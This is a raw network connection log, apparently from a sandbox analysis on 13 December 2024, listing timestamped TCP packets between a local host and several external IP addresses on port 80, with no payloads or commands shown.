Dec 13, 2024 13:07:05.531405926 CET	80	49737	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:05.535249949 CET	49737	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:05.872021914 CET	49737	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:06.895175934 CET	49738	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:07.014908075 CET	80	49738	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:07.015014887 CET	49738	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:07.034020901 CET	49738	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:07.153842926 CET	80	49738	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:08.252403975 CET	80	49738	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:08.252502918 CET	80	49738	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:08.252548933 CET	80	49738	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:08.252688885 CET	49738	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:08.544068098 CET	49738	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:09.563119888 CET	49740	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:09.682861090 CET	80	49740	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:09.683038950 CET	49740	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:09.695612907 CET	49740	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:09.815541029 CET	80	49740	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:09.815547943 CET	80	49740	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:09.815576077 CET	80	49740	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:09.815581083 CET	80	49740	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:09.815665960 CET	80	49740	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:09.815675974 CET	80	49740	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:09.815748930 CET	80	49740	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:09.815757990 CET	80	49740	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:09.815764904 CET	80	49740	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:10.908570051 CET	80	49740	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:10.908677101 CET	80	49740	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:10.908823967 CET	49740	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:10.909189939 CET	80	49740	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:10.909292936 CET	49740	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:11.200356960 CET	49740	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:12.219161987 CET	49747	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:12.338851929 CET	80	49747	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:12.338927031 CET	49747	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:12.347208023 CET	49747	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:12.466928005 CET	80	49747	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:13.579396009 CET	80	49747	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:13.579413891 CET	80	49747	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:13.579638004 CET	49747	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:13.580708027 CET	80	49747	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:13.580764055 CET	49747	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:13.582698107 CET	49747	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:13.702440023 CET	80	49747	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:19.100761890 CET	49768	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:19.221019030 CET	80	49768	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:19.222850084 CET	49768	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:19.234565973 CET	49768	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:19.354324102 CET	80	49768	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:20.468278885 CET	80	49768	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:20.468355894 CET	80	49768	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:20.468417883 CET	49768	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:20.468424082 CET	80	49768	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:20.468482018 CET	49768	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:20.746993065 CET	49768	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:21.768246889 CET	49774	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:21.888194084 CET	80	49774	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:21.888308048 CET	49774	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:21.900254965 CET	49774	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:22.020000935 CET	80	49774	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:23.137814999 CET	80	49774	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:23.137918949 CET	80	49774	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:23.137938023 CET	80	49774	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:23.138022900 CET	49774	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:23.403548956 CET	49774	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:24.423098087 CET	49780	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:24.646851063 CET	80	49780	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:24.647047997 CET	49780	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:24.659626007 CET	49780	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:24.884551048 CET	80	49780	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:24.884574890 CET	80	49780	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:24.884588003 CET	80	49780	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:24.884599924 CET	80	49780	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:24.884604931 CET	80	49780	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:24.884609938 CET	80	49780	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:24.884615898 CET	80	49780	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:24.884620905 CET	80	49780	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:24.884625912 CET	80	49780	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:25.936115980 CET	80	49780	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:25.936146975 CET	80	49780	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:25.936188936 CET	80	49780	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:25.936214924 CET	49780	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:25.936270952 CET	49780	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:26.169090986 CET	49780	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:27.187920094 CET	49786	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:27.307616949 CET	80	49786	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:27.307753086 CET	49786	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:27.315848112 CET	49786	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:27.435621977 CET	80	49786	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:28.567853928 CET	80	49786	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:28.567878962 CET	80	49786	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:28.567894936 CET	80	49786	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:28.567909002 CET	80	49786	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:28.568123102 CET	49786	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:28.568177938 CET	49786	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:28.572967052 CET	49786	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:07:28.692686081 CET	80	49786	161.97.142.144	192.168.2.4
Dec 13, 2024 13:07:33.977802992 CET	49802	80	192.168.2.4	209.74.64.58
Dec 13, 2024 13:07:34.097605944 CET	80	49802	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:34.097698927 CET	49802	80	192.168.2.4	209.74.64.58
Dec 13, 2024 13:07:34.109224081 CET	49802	80	192.168.2.4	209.74.64.58
Dec 13, 2024 13:07:34.229104042 CET	80	49802	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:35.326441050 CET	80	49802	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:35.326520920 CET	80	49802	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:35.326586962 CET	49802	80	192.168.2.4	209.74.64.58
Dec 13, 2024 13:07:35.622216940 CET	49802	80	192.168.2.4	209.74.64.58
Dec 13, 2024 13:07:36.641191959 CET	49813	80	192.168.2.4	209.74.64.58
Dec 13, 2024 13:07:36.760864973 CET	80	49813	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:36.760987997 CET	49813	80	192.168.2.4	209.74.64.58
Dec 13, 2024 13:07:36.772923946 CET	49813	80	192.168.2.4	209.74.64.58
Dec 13, 2024 13:07:36.892709017 CET	80	49813	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:38.014288902 CET	80	49813	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:38.014915943 CET	80	49813	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:38.014966965 CET	49813	80	192.168.2.4	209.74.64.58
Dec 13, 2024 13:07:38.278389931 CET	49813	80	192.168.2.4	209.74.64.58
Dec 13, 2024 13:07:39.301182985 CET	49819	80	192.168.2.4	209.74.64.58
Dec 13, 2024 13:07:39.421000957 CET	80	49819	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:39.421114922 CET	49819	80	192.168.2.4	209.74.64.58
Dec 13, 2024 13:07:39.433037996 CET	49819	80	192.168.2.4	209.74.64.58
Dec 13, 2024 13:07:39.552916050 CET	80	49819	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:39.552922010 CET	80	49819	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:39.552946091 CET	80	49819	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:39.552957058 CET	80	49819	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:39.553045988 CET	80	49819	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:39.553050041 CET	80	49819	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:39.553105116 CET	80	49819	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:39.553174019 CET	80	49819	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:39.553178072 CET	80	49819	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:40.717149973 CET	80	49819	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:40.717164993 CET	80	49819	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:40.722908974 CET	49819	80	192.168.2.4	209.74.64.58
Dec 13, 2024 13:07:40.934554100 CET	49819	80	192.168.2.4	209.74.64.58
Dec 13, 2024 13:07:41.954359055 CET	49825	80	192.168.2.4	209.74.64.58
Dec 13, 2024 13:07:42.074193001 CET	80	49825	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:42.074282885 CET	49825	80	192.168.2.4	209.74.64.58
Dec 13, 2024 13:07:42.084146023 CET	49825	80	192.168.2.4	209.74.64.58
Dec 13, 2024 13:07:42.203859091 CET	80	49825	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:43.304805994 CET	80	49825	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:43.304907084 CET	80	49825	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:43.305089951 CET	49825	80	192.168.2.4	209.74.64.58
Dec 13, 2024 13:07:43.328356981 CET	49825	80	192.168.2.4	209.74.64.58
Dec 13, 2024 13:07:43.448426008 CET	80	49825	209.74.64.58	192.168.2.4
Dec 13, 2024 13:07:46.270190954 CET	49836	80	192.168.2.4	45.200.148.45
Dec 13, 2024 13:07:46.390041113 CET	80	49836	45.200.148.45	192.168.2.4
Dec 13, 2024 13:07:46.390131950 CET	49836	80	192.168.2.4	45.200.148.45
Dec 13, 2024 13:07:46.392812014 CET	49836	80	192.168.2.4	45.200.148.45
Dec 13, 2024 13:07:46.513077021 CET	80	49836	45.200.148.45	192.168.2.4
Dec 13, 2024 13:08:08.290463924 CET	80	49836	45.200.148.45	192.168.2.4
Dec 13, 2024 13:08:08.290667057 CET	49836	80	192.168.2.4	45.200.148.45
Dec 13, 2024 13:08:08.290667057 CET	49836	80	192.168.2.4	45.200.148.45
Dec 13, 2024 13:08:08.295896053 CET	49886	80	192.168.2.4	45.200.148.45
Dec 13, 2024 13:08:08.410474062 CET	80	49836	45.200.148.45	192.168.2.4
Dec 13, 2024 13:08:08.415663958 CET	80	49886	45.200.148.45	192.168.2.4
Dec 13, 2024 13:08:08.415755987 CET	49886	80	192.168.2.4	45.200.148.45
Dec 13, 2024 13:08:08.416538000 CET	49886	80	192.168.2.4	45.200.148.45
Dec 13, 2024 13:08:08.536248922 CET	80	49886	45.200.148.45	192.168.2.4
Dec 13, 2024 13:08:30.306541920 CET	80	49886	45.200.148.45	192.168.2.4
Dec 13, 2024 13:08:30.307106972 CET	49886	80	192.168.2.4	45.200.148.45
Dec 13, 2024 13:08:30.307647943 CET	49886	80	192.168.2.4	45.200.148.45
Dec 13, 2024 13:08:30.427308083 CET	80	49886	45.200.148.45	192.168.2.4
Dec 13, 2024 13:08:33.807017088 CET	49946	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:33.926956892 CET	80	49946	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:33.927067041 CET	49946	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:33.940336943 CET	49946	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:34.060211897 CET	80	49946	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:35.450355053 CET	49946	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:35.570650101 CET	80	49946	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:35.570736885 CET	49946	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:36.469892979 CET	49953	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:36.589803934 CET	80	49953	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:36.593096018 CET	49953	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:36.613003969 CET	49953	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:36.732973099 CET	80	49953	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:38.122267008 CET	49953	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:38.242397070 CET	80	49953	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:38.242454052 CET	49953	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:39.141294003 CET	49959	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:39.261976957 CET	80	49959	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:39.262254953 CET	49959	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:39.273969889 CET	49959	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:39.394314051 CET	80	49959	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:39.394362926 CET	80	49959	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:39.394392014 CET	80	49959	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:39.394419909 CET	80	49959	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:39.394474983 CET	80	49959	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:39.394504070 CET	80	49959	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:39.394531965 CET	80	49959	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:39.394560099 CET	80	49959	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:39.394587994 CET	80	49959	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:40.780985117 CET	49959	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:40.901333094 CET	80	49959	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:40.901432037 CET	49959	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:41.798677921 CET	49965	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:41.918896914 CET	80	49965	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:41.919002056 CET	49965	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:41.928286076 CET	49965	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:42.048085928 CET	80	49965	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:43.766669035 CET	80	49965	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:43.766716003 CET	80	49965	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:43.766822100 CET	49965	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:43.766932964 CET	80	49965	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:43.766978025 CET	49965	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:43.770152092 CET	49965	80	192.168.2.4	104.21.74.79
Dec 13, 2024 13:08:43.890049934 CET	80	49965	104.21.74.79	192.168.2.4
Dec 13, 2024 13:08:49.480741024 CET	49984	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:08:49.602226019 CET	80	49984	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:49.602308035 CET	49984	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:08:49.617727041 CET	49984	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:08:49.737728119 CET	80	49984	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:50.697571993 CET	80	49984	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:50.697627068 CET	80	49984	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:50.698087931 CET	49984	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:08:51.122313976 CET	49984	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:08:52.142452955 CET	49992	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:08:52.262357950 CET	80	49992	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:52.262449980 CET	49992	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:08:52.276360035 CET	49992	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:08:52.396222115 CET	80	49992	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:53.357635021 CET	80	49992	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:53.357688904 CET	80	49992	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:53.357819080 CET	49992	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:08:53.778810024 CET	49992	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:08:54.799082994 CET	49998	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:08:54.919367075 CET	80	49998	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:54.919531107 CET	49998	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:08:54.931969881 CET	49998	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:08:55.052100897 CET	80	49998	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:55.052120924 CET	80	49998	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:55.052140951 CET	80	49998	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:55.052149057 CET	80	49998	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:55.052189112 CET	80	49998	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:55.052242041 CET	80	49998	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:55.052333117 CET	80	49998	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:55.052342892 CET	80	49998	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:55.052386045 CET	80	49998	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:56.035886049 CET	80	49998	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:56.049541950 CET	80	49998	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:56.049619913 CET	49998	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:08:56.435236931 CET	49998	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:08:57.455065012 CET	50004	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:08:57.574899912 CET	80	50004	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:57.574971914 CET	50004	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:08:57.590099096 CET	50004	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:08:57.710022926 CET	80	50004	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:58.686669111 CET	80	50004	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:58.686806917 CET	80	50004	3.33.130.190	192.168.2.4
Dec 13, 2024 13:08:58.687150002 CET	50004	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:08:58.691472054 CET	50004	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:08:58.811412096 CET	80	50004	3.33.130.190	192.168.2.4
Dec 13, 2024 13:09:04.079346895 CET	50020	80	192.168.2.4	13.248.169.48
Dec 13, 2024 13:09:04.200648069 CET	80	50020	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:04.200783014 CET	50020	80	192.168.2.4	13.248.169.48
Dec 13, 2024 13:09:04.211534023 CET	50020	80	192.168.2.4	13.248.169.48
Dec 13, 2024 13:09:04.331571102 CET	80	50020	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:05.300121069 CET	80	50020	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:05.300241947 CET	80	50020	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:05.300297022 CET	50020	80	192.168.2.4	13.248.169.48
Dec 13, 2024 13:09:05.716128111 CET	50020	80	192.168.2.4	13.248.169.48
Dec 13, 2024 13:09:06.735759974 CET	50027	80	192.168.2.4	13.248.169.48
Dec 13, 2024 13:09:06.855570078 CET	80	50027	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:06.855638027 CET	50027	80	192.168.2.4	13.248.169.48
Dec 13, 2024 13:09:06.868469000 CET	50027	80	192.168.2.4	13.248.169.48
Dec 13, 2024 13:09:06.988708973 CET	80	50027	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:08.375339031 CET	50027	80	192.168.2.4	13.248.169.48
Dec 13, 2024 13:09:08.539804935 CET	80	50027	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:09.392297029 CET	50028	80	192.168.2.4	13.248.169.48
Dec 13, 2024 13:09:09.512403965 CET	80	50028	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:09.512507915 CET	50028	80	192.168.2.4	13.248.169.48
Dec 13, 2024 13:09:09.526329994 CET	50028	80	192.168.2.4	13.248.169.48
Dec 13, 2024 13:09:09.646409988 CET	80	50028	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:09.646472931 CET	80	50028	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:09.646528959 CET	80	50028	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:09.646557093 CET	80	50028	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:09.646584034 CET	80	50028	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:09.646610975 CET	80	50028	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:09.646661997 CET	80	50028	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:09.646688938 CET	80	50028	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:09.646714926 CET	80	50028	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:10.768997908 CET	80	50027	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:10.769076109 CET	50027	80	192.168.2.4	13.248.169.48
Dec 13, 2024 13:09:11.032301903 CET	50028	80	192.168.2.4	13.248.169.48
Dec 13, 2024 13:09:11.195777893 CET	80	50028	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:12.048088074 CET	50029	80	192.168.2.4	13.248.169.48
Dec 13, 2024 13:09:12.168354988 CET	80	50029	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:12.168482065 CET	50029	80	192.168.2.4	13.248.169.48
Dec 13, 2024 13:09:12.176275015 CET	50029	80	192.168.2.4	13.248.169.48
Dec 13, 2024 13:09:12.296336889 CET	80	50029	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:13.432576895 CET	80	50028	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:13.432646036 CET	50028	80	192.168.2.4	13.248.169.48
Dec 13, 2024 13:09:16.285753965 CET	80	50029	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:16.285855055 CET	80	50029	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:16.285959959 CET	50029	80	192.168.2.4	13.248.169.48
Dec 13, 2024 13:09:16.288891077 CET	50029	80	192.168.2.4	13.248.169.48
Dec 13, 2024 13:09:16.411011934 CET	80	50029	13.248.169.48	192.168.2.4
Dec 13, 2024 13:09:22.141057014 CET	50030	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:22.260935068 CET	80	50030	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:22.261080027 CET	50030	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:22.270004034 CET	50030	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:22.391149998 CET	80	50030	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:23.555135012 CET	80	50030	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:23.555160999 CET	80	50030	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:23.555205107 CET	50030	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:23.781130075 CET	50030	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:24.798434973 CET	50031	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:24.919121027 CET	80	50031	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:24.919234037 CET	50031	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:24.934504986 CET	50031	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:25.054527044 CET	80	50031	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:26.190865040 CET	80	50031	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:26.190988064 CET	80	50031	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:26.191109896 CET	50031	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:26.450566053 CET	50031	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:27.469944000 CET	50032	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:27.593302965 CET	80	50032	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:27.593620062 CET	50032	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:27.605433941 CET	50032	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:27.841203928 CET	50032	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:28.187427998 CET	80	50032	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:28.187480927 CET	80	50032	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:28.187503099 CET	80	50032	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:28.187530994 CET	80	50032	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:28.187550068 CET	80	50032	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:28.187568903 CET	80	50032	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:28.187588930 CET	80	50032	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:28.187627077 CET	80	50032	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:28.187644958 CET	80	50032	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:28.187664032 CET	80	50032	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:29.106834888 CET	50032	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:29.227488041 CET	80	50032	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:29.227585077 CET	50032	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:30.126425982 CET	50033	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:30.246561050 CET	80	50033	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:30.246742010 CET	50033	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:30.255120993 CET	50033	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:30.376009941 CET	80	50033	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:31.568196058 CET	80	50033	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:31.568219900 CET	80	50033	144.76.190.39	192.168.2.4
Dec 13, 2024 13:09:31.568360090 CET	50033	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:31.571218014 CET	50033	80	192.168.2.4	144.76.190.39
Dec 13, 2024 13:09:31.691075087 CET	80	50033	144.76.190.39	192.168.2.4
